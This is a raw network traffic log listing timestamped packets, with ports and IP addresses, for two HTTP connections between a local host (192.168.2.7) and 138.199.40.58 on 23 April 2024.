Apr 23, 2024 08:39:58.450695992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.450710058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.450941086 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.451296091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.451345921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.451926947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.451961040 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.451972961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.451989889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.452004910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.452025890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.452157021 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.452169895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.452183962 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.452285051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.452784061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.452796936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.452883959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.452908039 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.452931881 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.453114033 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.453403950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.453418016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.453645945 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.453659058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.453672886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.453893900 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.454159021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.454171896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.454257011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.454365015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.454396963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.454513073 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.454888105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.454900980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.454991102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.455044031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.455087900 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.455348969 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.455610991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.455645084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.455815077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.455847025 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.455871105 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.455919027 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.456317902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.456351995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.456485033 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.456523895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.456557989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.456660032 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.457082033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.457114935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.457238913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.457266092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.457305908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.457417011 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.457796097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.457828999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.457897902 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.457968950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.458000898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.458156109 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.458498955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.458530903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.458635092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.458636045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.458669901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.458765984 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.459158897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.459192038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.459247112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.459374905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.459408045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.459860086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.459893942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.459919930 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.460020065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.460046053 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.460055113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.460134983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.460571051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.460603952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.460727930 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.460769892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.460796118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.460855007 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.461258888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.461292028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.461388111 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.461420059 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.461446047 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.461497068 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.462212086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.462244987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.462380886 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.462522984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.462554932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.462609053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.462640047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.462665081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.462816954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.462825060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.462848902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.462934971 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.463283062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.463315964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.463443995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.463478088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.463502884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.463548899 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.464014053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.464050055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.464087009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.464114904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.464138031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.464205027 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.464637041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.464649916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.464780092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.464792967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.464801073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.464852095 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.465337992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.465352058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.465431929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.465445042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.465459108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.465533018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.466026068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.466111898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.466124058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.466161013 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.466164112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.466237068 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.466645002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.466658115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.466727018 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.466738939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.466748953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.466856003 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.467320919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.467344999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.467356920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.467397928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.467418909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.467426062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.468117952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.468131065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.468142033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.468229055 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.468241930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.468296051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.468308926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.468358994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.468358994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.469032049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.469046116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.469079018 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.469099045 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.469152927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.469312906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.469326019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.469383955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.469404936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.469974041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.470002890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.470016003 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.470212936 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.470226049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.470238924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.470261097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.470283985 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.470374107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.470887899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.470900059 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.470937014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.470957994 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.471020937 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.471194029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.471232891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.471308947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.471457958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.471818924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.471899986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.471913099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.471939087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.472083092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.472156048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.472188950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.472210884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.472240925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.473011017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.473054886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.473067045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.473181009 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.473912001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.473925114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.473937988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.473959923 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.474028111 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.474392891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.474503994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.474605083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.475259066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.475271940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.475317955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.475341082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.475431919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.476172924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.476213932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.476226091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.476247072 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.476433992 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.476447105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.476483107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.476526022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.477220058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.477232933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.477262020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.477283001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.477313995 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.478671074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.478686094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.478715897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.478739023 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.478781939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.479156971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.479170084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.479207993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.479537010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.479566097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.479578018 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.479787111 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.481319904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.481426954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.481451035 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.481472969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.481556892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.481589079 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.481637001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.481650114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.481703997 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.482347965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.482405901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.482429981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.482472897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.482634068 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.483354092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.483402967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.483421087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.483617067 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.484057903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.484110117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.484224081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.484297037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.484375000 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.484538078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.484550953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.484654903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.485774040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.485809088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.485841990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.486037970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.486633062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.486665964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.486685991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.486716032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.486735106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.486752987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.486757040 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.486778021 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.486779928 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.487391949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.487425089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.487456083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.487457037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.487554073 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.488871098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.488903999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.488936901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.489077091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.489732981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.489814997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.489850998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.489885092 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.489955902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.489989996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.490015984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.490062952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.490701914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.490735054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.490755081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.490756989 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.490797043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.490951061 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.492307901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.492341042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.492372990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.492429018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.492825031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.492857933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.492899895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.492930889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.492954969 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.492963076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.492981911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.492995977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.493956089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.493989944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.494013071 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.494014025 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.494020939 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.494118929 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.495234013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.495271921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.495362043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.495440960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.495764971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.495803118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.495839119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.495958090 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.496098042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.496153116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.496181011 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.496189117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.496999979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.497037888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.497051001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.497052908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.497075081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.497160912 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.498459101 CEST	80	49705	138.199.40.58	192.168.2.7
